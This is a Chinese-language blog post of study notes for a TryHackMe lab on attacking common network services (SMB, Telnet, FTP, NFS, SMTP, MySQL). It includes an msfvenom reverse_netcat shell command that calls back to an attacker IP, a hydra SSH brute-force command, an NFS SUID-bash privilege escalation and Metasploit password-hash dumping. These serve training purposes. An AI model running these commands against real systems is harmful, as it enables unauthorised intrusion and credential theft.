当前位置: 首页 > news >正文

常见的网络服务的枚举和利用 | TryHackMe | Network services 1/2

常见的网络服务枚举和利用

主要讨论一些常见的网络服务漏洞和错误配置下,工具的利用
具体的实操可以到TryHackMe的network services和network services 2房间中进行尝试和利用

网络服务的枚举和利用

  • 常见的网络服务枚举和利用
    • SMB
      • SMB 枚举
        • enum4linux
        • smbmap
      • 利用 SMB
    • Telnet
      • 利用 Telnet
    • FTP
      • 利用
    • NFS
      • 枚举 NFS
        • 挂载 NFS 共享
      • 利用 NFS
    • SMTP
      • SMTP 的工作流程
      • 枚举 SMTP
      • 利用 SMTP
    • MySQL
      • 枚举 MySQL
      • 利用 MySQL

SMB

SMB - 服务器消息块协议 - 是一种客户端-服务器通信协议,用于共享对网络上的文件、打印机、串行端口和其他资源的访问。

MB 协议被称为响应-请求协议,这意味着它在客户端和服务器之间传输多条消息以建立连接。客户端使用 TCP /IP(实际上是 NetBIOS )通过 TCP /IP(如 RFC1001 和 RFC1002 中指定)、NetBEUI 或 IPX/SPX。

建立连接后,客户端即可向服务器发送命令 (SMB),从而允许其访问共享资源、打开文件、读写文件,以及执行所有对文件系统的操作。不过,对于 SMB 来说,这些操作是通过网络完成的。

SMB 枚举

使用端口扫描可以扫描出端口 139 和 445

特性端口 139端口 445
使用的协议层NetBIOS over TCP/IP直接 TCP
是否依赖 NetBIOS✅ 是❌ 否
SMB 版本支持SMBv1, 早期 SMBv2SMBv1/v2/v3
引入时间Windows NT 时代Windows 2000 起
安全性角度更旧,风险更高更现代,更易加固
enum4linux

使用 enum4linux 工具进行枚举

语法: enum4linux [options] ip

标签(参数)功能(中文)
-U获取用户列表
-M获取机器列表
-N获取名称列表转储(不同于 -U 和 -M)
-S获取共享列表
-P获取密码策略信息
-G获取群组和成员列表
-a以上所有(完整基本枚举)
smbmap

smbmap -H <目标IP> [选项]

参数含义
-H指定目标主机
-u用户名(可为空)
-p密码(可为空)
-d域名(可选)
-P指定端口(默认445)
-R递归列出目录
-r指定某个共享并列出其内容
--download下载文件
--upload上传文件
--delete删除文件

利用 SMB

使用 smbclient

smbclient //[IP]/[SHARE]

  • -U [name] :指定用户
  • -p [port] : 指定端口

Telnet

Telnet 是一种应用程序协议,它允许您使用 telnet 客户端连接到托管 telnet 服务器的远程计算机并在其上执行命令。后来多被 SSH 协议替代

默认使用 23 端口

利用 Telnet

Telnet 作为一种协议,由于使用明文,所以通常存在 CVE 漏洞

  • https://www.cvedetails.com/
  • https://cve.mitre.org/

使用 telnet [ip] [port]来接到 telnet 服务器

连接之后发现可以执行任意命令

选择使用 msfconsole 生成木马,获得 shell

msfvenom -p cmd/unix/reverse_netcat lhost=10.13.74.121 lport=6767 R

FTP

文件传输协议 ( FTP ) 是一种用于通过网络远程传输文件的协议。它采用客户端-服务器模型,并且能够以非常高效的方式传递命令和数据

默认使用两个端口,20(控制连接),21(数据连接,仅在主动模式)

典型的 FTP 会话使用两个通道运行:

  • 命令(控制)通道
  • 数据通道

FTP 服务器支持主动连接或被动连接

  • 在主动 FTP 连接中,客户端打开一个端口并进行监听。服务器需要主动连接到该端口。
  • 在被动 FTP 中 连接时,服务器打开一个端口并(被动)监听,并且 客户端连接到它。

利用

ftp 192.168.1.100
Name (192.168.1.100:youruser): anonymous
Password: <直接回车>

替代枚举方法

一些易受攻击的 in.ftpd 版本和其他一些 FTP 服务器变体对“cwd”命令返回不同的响应 哪些主目录存在,哪些不存在。由于你可以在身份验证之前发出 cwd 命令,因此可以利用这一点,而如果存在主目录,则很可能存在与之关联的用户帐户。虽然此漏洞主要存在于旧版系统中,但作为一种利用 FTP 漏洞的方法,它仍然值得了解。

https://www.exploit-db.com/exploits/20745

ftp中间人攻击

可以使用 ftp 进行爆破密码,从而进行登录 ftp

NFS

NFS 代表“网络文件系统”,允许系统通过网络与其他系统共享目录和文件。通过使用 NFS,用户和程序可以像访问本地文件一样访问远程系统上的文件。它通过在服务器上挂载文件系统的全部或部分来实现这一点。客户端可以使用分配给每个文件的权限访问已挂载的文件系统部分。

首先,客户端会请求将远程主机上的目录挂载到本地目录上,就像挂载物理设备一样。然后,挂载服务会使用 RPC 连接到相关的挂载守护进程。

服务器会检查用户是否有权挂载所请求的目录。然后,服务器将返回一个文件句柄,该句柄唯一地标识服务器上的每个文件和目录。

如果想要通过 NFS 访问文件,就会向服务器上的 NFSD(NFS 守护进程)发出一个 RPC 调用,调用包含以下参数

  • 文件句柄 file handle
  • 要访问的文件名称
  • 用户 ID
  • 用户组 ID

使用 NFS 协议,可以在 Windows 和其他非 Windows 系统中传输文件

枚举 NFS

nfs-common,它包含以下程序:lockd、statd、showmount、nfsstat、gssd、idmapd 和 mount.nfs。我们主要关注“showmount”和“mount.nfs”,因为它们在从 NFS 共享中提取信息时非常有用。

使用 showmount -e IP查看可以使用的共享

挂载 NFS 共享
sudo mount -t nfs IP:share /tmp/mount/ -nolock
标签(Tag)功能说明(Function)
sudo以 root 身份运行
mount
(挂载)
执行挂载命令
-t nfs指定挂载的设备类型为 NFS
IP:shareNFS 服务器的 IP 地址,以及要挂载的共享名称
-nolock指定不使用 NLM(网络锁管理器)锁定机制

利用 NFS

利用 NFS 上传 suid 文件来实现权限提升,具体要取决于配置方式

默认情况下,在 NFS 共享上,Root Squashing 功能处于启用状态,阻止任何连接到 NFS 共享的用户获得 NFS 卷的 root 访问权限。远程 root 用户在连接时会被分配一个“nfsnobody”用户,该用户拥有最低的本地权限。这并非我们想要的。但是,如果关闭此功能,它可能会允许创建 SUID 位文件,从而允许远程用户以 root 权限访问连接的系统。

可以通过查看 /etc/exports文件来看配置是否开启

scp -i key_name username@10.10.197.144:/bin/bash ~/Downloads/bash

下载一个 bash 文件到本地

这次的提权手法:

NFS 访问 => 获得低权限 shell => 将 Bash 可执行文件上传到 NFS 共享 => 由于 Root Squashing 配置错误,通过 NFS 设置 SUID 权限 => 通过 SSH 登录 => 利用 suid 文件提权

#设置SUID位
sudo chmod +s bash 
#修改用户为root
sudo chown root bash

SMTP

SMTP 代表“简单邮件传输协议”。它用于处理电子邮件的发送。为了支持电子邮件服务,需要一对协议,即 SMTP 和 POP/ IMAP 。它们分别允许用户发送邮件和接收邮件。

默认的 SMTP 端口是 25

SMTP 服务器执行三项基本功能:

  • 验证谁通过 SMTP 服务器发送电子邮件
  • 发送外发邮件
  • 无法发送外发邮件会把邮件发回发件人

POP(邮局协议)和 IMAP (互联网消息访问协议)都是电子邮件协议,负责在客户端和邮件服务器之间传输电子邮件。主要区别在于 POP 的流程更简单,它会将收件箱中的邮件从邮件服务器下载到客户端。而 IMAP 会同步当前收件箱和服务器上的新邮件,并下载所有新邮件。这意味着,如果您在另一台计算机上同步收件箱,通过 IMAP 对收件箱所做的更改将会保留。POP/ IMAP 服务器负责完成此过程。

SMTP 的工作流程

  1. 邮件用户代理(可以是您的电子邮件客户端或外部程序)连接到您域名的 SMTP 服务器,例如 smtp.google.com 。这将启动 SMTP handshake。此连接通过 SMTP 端口(通常为 25)进行。建立并验证这些连接后, SMTP 会话将启动。
  2. 客户端首先向服务器提交发件人和收件人的电子邮件地址、邮件正文以及所有附件。
  3. 然后 SMTP 服务器检查收件人和发件人的域名是否相同。
  4. 发件人的 SMTP 服务器会在转发邮件之前连接到收件人的 SMTP 服务器。如果收件人的服务器无法访问或不可用,邮件就会被放入 SMTP 队列。
  5. 然后,收件人的 SMTP 服务器将验证收到的电子邮件。它会检查域名和用户名是否被识别。然后,服务器会将电子邮件转发到 POP 或 IMAP 服务器,如上图所示。
  6. 最后电子邮件显示在收件人的收件箱中

枚举 SMTP

枚举服务器详细信息

MetaSploit 中的“ smtp_version ”模块来实现这一点

从 SMTP 枚举用户

MetaSploit 的模块"smtp_enum"可以实现

替代方法

可以使用 smtp-user-enum工具来替代

  • VRFY 是验证单个用户是否存在
  • EXPN 是展开一个邮件组或者别名

利用 SMTP

拿到用户名和邮件服务器类型和操作系统后

可以尝试使用 ssh 连接,使用 hydra 进行 ssh 爆破

hydra -t 16 -l USERNAME -P /usr/share/wordlists/rockyou.txt -vV 10.10.220.77 ssh

MySQL

MySQL 是一个基于结构化查询语言 ( SQL ) 的关系数据库管理系统 (RDBMS)

Database: 数据库只是一个持久的、有组织的结构化数据集合

关系数据库管理系统 (RDBMS): 用于创建和管理基于关系模型的数据库的软件或服务。“关系”一词仅指存储在数据集中的数据以表的形式组织。每个表都以某种方式与其他表的“主键”或其他“关键”因素相关联。

枚举 MySQL

通常,你会通过枚举其他服务获得一些初始凭证,然后可以使用它们来枚举和利用 MySQL 服务。比如,你如果尝试 ssh 登录失败,就可以尝试 MySQL 登录

使用 mysql -h [ip] -u [username] -p连接

使用 matesploit 来进行枚举

**mysql_sql**来使用 sql 语句

利用 MySQL

架构:在 MySQL 中,模式 (schema) 在物理上与数据库 (database) 同义。您可以在 MySQL SQL 语法中用关键字“SCHEMA”代替 DATABASE,例如,使用 CREATE SCHEMA 代替 CREATE DATABASE。理解这种关系非常重要,因为其他一些数据库产品对此有所区分。例如,在 Oracle 数据库产品中, 模式仅代表数据库的一部分:单个用户拥有的表和其他对象。

哈希值:在 MySQL 中,哈希值有多种使用方式,例如将数据索引到哈希表中。每个哈希值都有一个唯一的 ID,用作指向原始数据的指针。这会创建一个比原始数据小得多的索引,从而更高效地搜索和访问值。我们要提取的是密码哈希,是一种存储密码的方式

还是使用 metasploit 进行利用

**mysql_schemadump**模块,用于显示数据库的架构,就是里面所有的数据库和数据表

**mysql_hashdump**模块来枚举所有的密码哈希

这里看到 carl 用户不是数据库中默认用户,把他的用户名和哈希复制下来,尝试使用 john 进行破解

http://www.xdnf.cn/news/575083.html

相关文章:

  • 【MySQL】表的内连和外连
  • svn 提交后报错 : is scheduled for addtion,but is missing
  • 总结一个编程的学习方式~
  • 【Linux基础I/O】文件调用接口、文件描述符、重定向和缓冲区
  • stack--oj2
  • 《国家高等教育智慧平台:重塑学习新时代》
  • java基础 之 Hash家族(一)
  • M|攻壳机动队2.0
  • 外卖Day7
  • Win10更改IP地址在哪里设置?多种方法详解
  • 和风天气 API 获取天气预报 2025/5/21
  • SAP-ABAP:企业级异常处理框架设计与实战 —— 构建高可用、可观测的异常治理体系
  • Frp Dockr Mysql内网映射
  • C#中Task.Run的线程管理最佳实践与并发控制
  • FPGA设计需要学什么?
  • Shell入门篇二
  • Seata1.8.0安装部署流程linux
  • 动态规划2
  • 编程技能:字符串函数09,strncmp
  • 阿里云数据盘级别
  • C++ for QWidget:正则表达式和QRegExp
  • 六:操作系统虚拟内存之页替换算法
  • 101个α因子#12
  • nmtui工具使用教程
  • Halcon数据类型
  • RUP的9个核心工作流在电商平台项目中的拆解
  • 操作系统理解(xv6)
  • java进阶 1.0.2
  • ai建模平台:AnKo革新智能创作体验新纪元!
  • 以加减法计算器为例,了解C++命名作用域与函数调用